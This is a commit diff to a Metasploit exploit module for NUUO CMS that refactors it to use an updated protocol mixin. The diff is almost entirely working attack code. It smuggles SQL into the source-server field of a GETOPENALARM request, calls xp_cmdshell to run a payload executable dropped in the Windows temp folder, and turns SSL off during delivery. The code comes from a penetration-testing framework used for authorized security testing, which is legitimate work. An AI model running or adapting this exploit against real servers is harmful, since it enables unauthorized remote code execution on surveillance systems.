Update nuuo_cms_sqli

Use updated nuuo mixin/rex

modules/exploits/windows/nuuo/nuuo_cms_sqli.rb

@@ -57,13 +57,14 @@ class MetasploitModule < Msf::Exploit::Remote
   end
 
 
-  def inject_sql(sql, final = false)
-    sql = ['GETOPENALARM',"DeviceID: #{rand_text_numeric(4)}","SourceServer: ';#{sql};-- ","LastOne: #{rand_text_numeric(4)}"]
-    if final
-      nucs_send_msg_async(sql)
-    else
-      nucs_send_msg(sql)
-    end
+  def inject_sql(sql)
+    res = ncs_send_request({
+      'method' => 'GETOPENALARM',
+      'user_session' => user_session,
+      'device_id' => "#{rand_text_numeric(4)}",
+      'source_server' => "';#{sql};-- ",
+      'last_one' => "#{rand_text_numeric(4)}"
+    })
   end
 
   # Handle incoming requests from the server
@@ -78,7 +79,7 @@ class MetasploitModule < Msf::Exploit::Remote
     Rex.sleep(3)
 
     print_status('Executing shell...')
-    inject_sql(create_hex_cmd("xp_cmdshell \"cmd /c C:\\windows\\temp\\#{@filename}\""), true)
+    inject_sql(create_hex_cmd("xp_cmdshell \"cmd /c C:\\windows\\temp\\#{@filename}\""))
     register_file_for_cleanup("c:/windows/temp/#{@filename}")
   end
 
@@ -112,24 +113,20 @@ class MetasploitModule < Msf::Exploit::Remote
   end
 
   def exploit
-    nucs_login
-
-    unless @nucs_session
-      fail_with(Failure::Unknown, 'Failed to login to Nuuo CMS')
-    end
+    connect
+    ncs_login
+    fail_with(Failure::Unknown, 'Failed to login to Nuuo CMS') unless user_session
 
     @pl = generate_payload_exe
 
     #do not use SSL
-    if datastore['SSL']
-      ssl_restore = true
+    ssl = datastore['SSL']
     datastore['SSL'] = false
-    end
 
     begin
       Timeout.timeout(datastore['HTTPDELAY']) {super}
     rescue Timeout::Error
-      datastore['SSL'] = true if ssl_restore
+      datastore['SSL'] = ssl
     end
   end
 end